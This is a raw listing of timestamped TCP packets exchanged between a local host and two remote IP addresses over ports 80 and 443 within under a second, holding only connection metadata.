Nov 1, 2024 05:02:22.497443914 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.538136959 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.538181067 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.538203955 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.538228989 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.538238049 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.538274050 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.540693998 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.540724993 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.540735960 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.540746927 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.540761948 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.540780067 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.540834904 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.540847063 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.540858984 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.540870905 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.540895939 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.541073084 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.541085958 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.541110992 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.541137934 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.566562891 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.566577911 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.566622972 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.566659927 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.566673994 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.566679001 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.566700935 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.566711903 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.566735983 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.566797972 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.566832066 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.566864014 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.566904068 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.566920042 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.566952944 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.567013979 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.567025900 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.567055941 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.567066908 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.567157030 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.567197084 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.567219973 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.567230940 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.567261934 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.567272902 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.571866035 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.571933031 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.571943045 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.571954966 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.571978092 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.572007895 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.572079897 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.572092056 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.572103977 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.572119951 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.572134972 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.572140932 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.572284937 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.572297096 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.572321892 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.572331905 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.572457075 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.572468996 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.572496891 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.572508097 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.572554111 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.572566032 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.572591066 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.572601080 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.610219002 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.610353947 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.610366106 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.610443115 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.610454082 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.610481977 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.610523939 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.610551119 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.610563040 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.610596895 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.610620975 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.610734940 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.610748053 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.610769987 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.610802889 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.610855103 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.610901117 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.614016056 CET	443	59848	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:22.614074945 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.614100933 CET	59848	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:22.614125967 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.614166021 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.614177942 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.614202976 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.614217997 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.614279985 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.614317894 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.614348888 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.614358902 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.614424944 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.614444017 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.614480972 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.614500046 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.614535093 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.615494967 CET	59848	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:22.615540028 CET	443	59848	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:22.615792990 CET	443	59848	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:22.616981030 CET	59848	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:22.617161989 CET	59848	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:22.617219925 CET	443	59848	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:22.617305040 CET	59848	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:22.617319107 CET	443	59848	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:22.655206919 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.655220985 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.655239105 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.655250072 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.655327082 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.655352116 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.657860041 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.657871008 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.657881975 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.657917976 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.657934904 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.658006907 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.658019066 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.658056021 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.658159971 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.658169985 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.658180952 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.658204079 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.658227921 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.658293009 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.658303976 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.658343077 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.683621883 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.683667898 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.683681965 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.683710098 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.683716059 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.683749914 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.683779001 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.683815002 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.683840990 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.683880091 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.683882952 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.683917999 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.683999062 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.684010029 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.684021950 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.684050083 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.684071064 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.684216022 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.684262037 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.684329033 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.684340000 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.684371948 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.684484959 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.684497118 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.684525967 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.684551954 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.689230919 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689241886 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689251900 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689291954 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.689301968 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.689366102 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689378023 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689407110 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689408064 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.689416885 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689428091 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689438105 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689445019 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.689449072 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689460993 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689469099 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.689493895 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.689518929 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689555883 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.689668894 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689713955 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.689749956 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689762115 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.689791918 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.732042074 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.732094049 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.732109070 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.732183933 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.732219934 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.732251883 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.732295990 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.732306004 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.732309103 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.732328892 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.732352972 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.732840061 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.732851028 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.732861996 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.732875109 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.732888937 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.732914925 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.733192921 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.733206034 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.733216047 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.733227968 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.733238935 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.733247995 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.733267069 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.733285904 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.733324051 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.772253036 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.772273064 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.772283077 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.772344112 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.772345066 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.772380114 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.772416115 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.774943113 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.774992943 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.775002956 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.775016069 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.775042057 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.775059938 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.775140047 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.775151968 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.775177002 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.775187969 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.775441885 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.775451899 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.775470972 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.775489092 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.775495052 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.775499105 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.775509119 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.775511026 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.775531054 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.775557995 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.800626993 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.800645113 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.800699949 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.800754070 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.800770044 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.800784111 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.800801992 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.800801992 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.800822020 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.800853968 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.800890923 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.800894022 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.800928116 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.800992966 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.801009893 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.801034927 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.801047087 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.801093102 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.801136017 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.801199913 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.801213026 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.801242113 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.801253080 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.801320076 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.801352024 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.805905104 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.805931091 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.805978060 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.805989981 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806014061 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.806049109 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.806096077 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806143045 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.806159019 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806200981 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.806243896 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806255102 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806286097 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.806297064 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.806334019 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806344986 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806370974 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.806381941 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.806406975 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806437016 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806440115 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.806469917 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.806519985 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806555033 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.806583881 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806593895 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806622028 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.806632996 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.806735992 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806767941 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.806833029 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806843996 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.806869984 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.844202042 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.844222069 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.844233990 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.844319105 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.844332933 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.844360113 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.844413042 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.844424963 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.844468117 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.844571114 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.844604015 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.844615936 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.844646931 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.844691038 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.844703913 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.844743013 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.849040031 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.849087954 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.849090099 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.849111080 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.849133015 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.849140882 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.849142075 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.849212885 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.849215031 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.849251986 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.849275112 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.849308968 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.849320889 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.849351883 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.849364042 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.849395037 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.849417925 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.849455118 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.849483967 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.849494934 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.849514961 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.849529982 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.849648952 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.849666119 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.849684954 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.849701881 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.889300108 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.889343023 CET	80	59845	185.215.113.16	192.168.2.5
